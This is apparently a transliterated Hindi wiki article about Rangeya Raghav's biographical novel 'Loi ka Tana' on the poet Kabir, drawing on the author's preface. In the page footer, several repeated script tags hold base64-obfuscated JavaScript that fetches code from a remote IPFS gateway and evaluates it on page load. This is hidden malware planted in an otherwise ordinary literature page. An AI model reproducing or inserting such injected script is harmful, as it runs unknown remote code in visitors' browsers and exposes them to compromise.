लोई का ताना -रांगेय राघव
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loee ka tana -raangey raghav
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| lekhak | raangey raghav |
| prakashak | rajapal eand sans |
| ISBN | 81-7028-368-x |
| desh | bharat |
| bhasha | hindi |
| prakar | upanyas |
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'loee ka tana' prasiddh sahityakar, kahanikar aur upanyasakar raangey raghav dvara likha gaya upanyas hai. is upanyas ko 'rajapal eand sans' prakashan dvara prakashit kiya gaya tha. prastut granth mean kabir ki jhaanki hai. loee ka tana' d aau. raangey raghav dvara likha chautha jivan charitratmak upanyas hai. yah sanh 1954 ee. mean prakashit hua. is upanyas ke nayak hindi sahity ke mahanh samaj sudharak kavi v darshanik sant kabir ki jivan kahani hai. 'loee' kabir ki patni hai aur kabir brahman vidhava se janme the tatha julaha jati danpati se inaka palan-poshan hua tha. 'loee' kapas ki latthi hoti hai. jisaki sahayata se tana bunakar kap da taiyar karate haian. isaka shirshak 'pratikatmak' hai.
'loee ka tana' ek aisa upanyas hai jisake madhyam se kabir ke jivan dvara us yug ki vidrohatmak samajik chetana ka chitran kiya hai. kabir ke jivan-sanbandhi tathy adhik nahian milate. phir bhi unake sahity ko padhakar jin nishkarshoan par pahuanche hai, vah prashansaniy hai. upanyasakar ne jivani, itihas aur alochana ke tribhuj dvara kabir ke jivan ka chitran kiya hai-
jati juta ha mati ko dhir.
harashi harish gun rame kabir॥
d aau. raangey raghav ji ne 1950 ee. ke pashchath kee jivani pradhan upanyas likhe haian, inaka pahala upanyas sanh 1951-1953 ee. ke bich prakashit hua. 'bharati ka sapoot' jo bharatendu harishchandr ke jivani par adharit hai. tatpashchath vidyapati ke jivan par 'lakhima ke aankheanan', bihari ke jivan par 'meri bhav badha haro', tulasi ke jivan par 'ratna ki bat', kabir- jivan par 'loee ka tana' aur 'dhooni ka dhuanaan' gorakhanath ke jivan par kriti hai. 'yashodhara jit gee hai', gautam buddh par likha gaya hai. devaki ka beta krishna ke jivan par adharit hai.[1]
- raanghey raghav ne pustak ke prarambh mean likha hai-
- vaise kabir ke jivan sambandhi tathy adhik nahian milate. maian unake sahity ko padhakar jin nishkarshoan par pahuancha hooan unhian ko maianne unake jivan ka adhar banaya hai. kabir pahale nimnajatiy hindoo banakar rahana chahate the. par ramanand ki diksha ke bad ve jat-paant ki or se sandigdh ho ge. ve pahale 'avataravad' manate the. phir ve nirgun ki or jhuke. phir yogiyoan ke rahasyavad aur shadchakr sadhana adi ki or. bad mean ve sahaj sadhana mean chamatkaravad se age badh ge. ant mean to ve ek nee bhoomi par pahuanch ge jisaka varnan yahaan maianne kiya hai. kabir ko logoan ne galat samajha hai. kabir mean soophimat, vedant, rahasyavad, narininda tatha anek batean haian jaise sansar ki asarata par jor, mayavad adi ka varnan, par ye anek vikas ki manjilean haian. ve dhire-dhire age badh ge haian. ve kitane badh ge the yah samajhana tab aur bhi adhik ashchary deta hai jab ham sochate haian ki ve aj se saik doan baras pahale the. kabir ke cheloan ne brahmanoan ki nakal ki. kabir ke vidroh aur saty ko daba diya gaya. kabir itihas mean ek ulajhan ban gaya. achary ramachandr shukl brahmanavadi alochak the. unhoanne kabir ko 'niras nirguniya' kah diya. ve kah ge haian ki kabir ne rah nahian dikhaee. kabir jnan ko rahasy mean dubata tha. sadharan janata kabir ko samajh nahian saki.
yah sab brahmanavadi drishtikon hai at: tyajy hai. avaijnanik hai.
- kabir nirgun ke pare the. kabir ne jo rah dikhaee vah manavata ko kalyan ki or le jane vali thi. ve bharatiy sanskriti ke nam par bhedabhav vale brahmanavad ko nahian manate the. ve islam ka virodh karake bhi usase ghrina nahian karate the, aur use mukti ka path bhi nahian samajhate the. kabir ne janata ka dalit jivan dekha tha, tulasidas ki bhaanti nahian ek julahe ki bhaanti. ve sagun eeshvar ko manakar brahmanavad ke niyamoan mean bandh nahian sake. par unaka rahasy bhi aisa n tha ki ve sansar ko chho d dete. ghar mean patni thi, putr tha. par patni aur putr ke hi lie doobe rahakar doosaroan ka gala katana ve maya kahate the. kabir ne kaha ki insan ko kisi rudhi ki zaroorat nahian, vah eeshvar ke lie jhag de, yah vyarth ki bat hai. eeshvar rahasy isilie hai ki manushy apani simit buddhi se use jan nahian sakata, jo janakar banate the unako unhoanne jhootha kaha. kabir ne hi kaha tha ki pyare asaman par takana chho d de. man ki kalpana aur bharamana chho d de.
ye kya shoonyavadi ke shabd haian ?
- kabir ne doosaroan ke bal par khanevale sadhuoan ka ghor virodh kiya tha. ve to mehanat ka khana chahate the. sadharan janata ne kabir ko samajha tha. usi ne kabir ko mulla, pandit, jogi adi ke purohit varg aur sattadhariyoan se bachaya tha. par bad mean kabir panthiyoan ne kabir ko mita diya. paravartiyoan mean kabir ko chamatkaroan se dhak diya gaya.
- kabir ne hindoo-musalamanoan donoan ko nitant nimnajati ke adami ki aankhoan se dekha tha. par chele padhe-likhe the. us samay musalaman shasakoan ki shakti bhi badh gee thi. sari bharatiy jatiyoan ka sangathan ho raha tha. nimnajatiy janata ke roop mean kabir ke anuyayi bhi dalit the. shasan muslim tha. atah islam par atyacharoan ke nam chadhate the. us samay 'kabir panth' 'hindoo mat' hi ban gaya tha.
- kabir ne to bharat ke saanskritik jan jagaran ki nianv dali hai. usake yug ke bandhan the, aur unaki us par chhap hai. vah dhire-dhire vikas karake kitana age a gaya tha !
- bhasha mean usane kranti ki. bilkul jan bhasha boli. tulasi ki bhaanti vakt bevakt ki baisakhiyaan nahian lagaeean. tulasi ke devata akhir sanskrit bolate the. kabir ne janata ke upaman lie aur jivan ke achchhe acharan par samajik acharan par jor diya. jahaan tulasidas sare anachar ki j d kali ko manate the, kabiradas kali ka nam nahian lete. ve to moh-lobh-dambh aur dhan ko hi is maya aur anachar ka mool manate haian.
- kabir ka mukhy sandesh prem ka hai.
pustak ke bare mean
- ab prastut pustak ke bare mean kuchh aur batean saf kar dooan. - kabir padhe-likhe n the. kavita likhate nahian the. ve to phauran sunane valoan mean the. log likha karean, unhean isase bahas nahian thi. ve to kah dete the. isi se maianne unaki kavitaean unake muanh se paristhitiyoan ke bich mean sunavaee haian.
- doosari bat hai kamal ke dvara katha kahalavana. kamal kabir ka putr tha. kamal ke bare mean prasiddh hai-
booda bans kabir ka,
jab upaja poot kamal.
- parantu yah vidvanoan dvara kabir ki pankti nahian mani gee. 'kamal' ke bare mean kianvadanti hai ki kabir ke bad jab usane pita ke nam par panth chaloo karane se iankar kar diya to kabir ke cheloan ne ise aisa nam de diya. kabir ki patni 'loee' thi. kabir ki kavitaoan mean usaka nam hai. tathyoan ke abhav mean kabir ke jivan ka poora chitr dene mean kamal ne sahayata di hai. pahale kamal upasanhar mean apani paristhiti batata hai. tab kabir mar chuka hai aur panth ban gaya hai. ‘upasanhar se pahale’ mean kabir ki mrityu ke bad guru ki kavitaoan ko sunakar apas mean l danevale cheloan ka varnan hai. phir ‘arambh’ tak kabir ke vishesh roop haian. 'marajiva' vala adhyay kabir ki mahanata, naya path aur usake chintan ko spasht karane ko hai. antim adhyay mean kabir ke jivan ke mo d haian.
- kamal hi bolata hai. maian nahian bolata. apane yug ke bandhanoan mean rahakar jo kamal kah sakata hai vah kahata hai, baki maian bhoomika mean kahe de raha hooan. kabir nissandeh tatkalin jivan mean kranti ka bij tha. durbhagy se bad mean phir vah vargasangharsh jatisangharshoan mean dab gaya. tab 'vargasangharsh' ka matalab 'varnasangharsh' hi tha.[2]
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tika tippani aur sandarbh
- ↑ jivaniparak sahityakaroan mean d aau. raangey raghav (hiandi). . abhigaman tithi: 24 janavari, 2013.
- ↑ loee ka tana (hiandi). . abhigaman tithi: 24 janavari, 2013.
bahari k diyaan
sanbandhit lekh
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varnamala kramanusar lekh khoj
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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri 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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>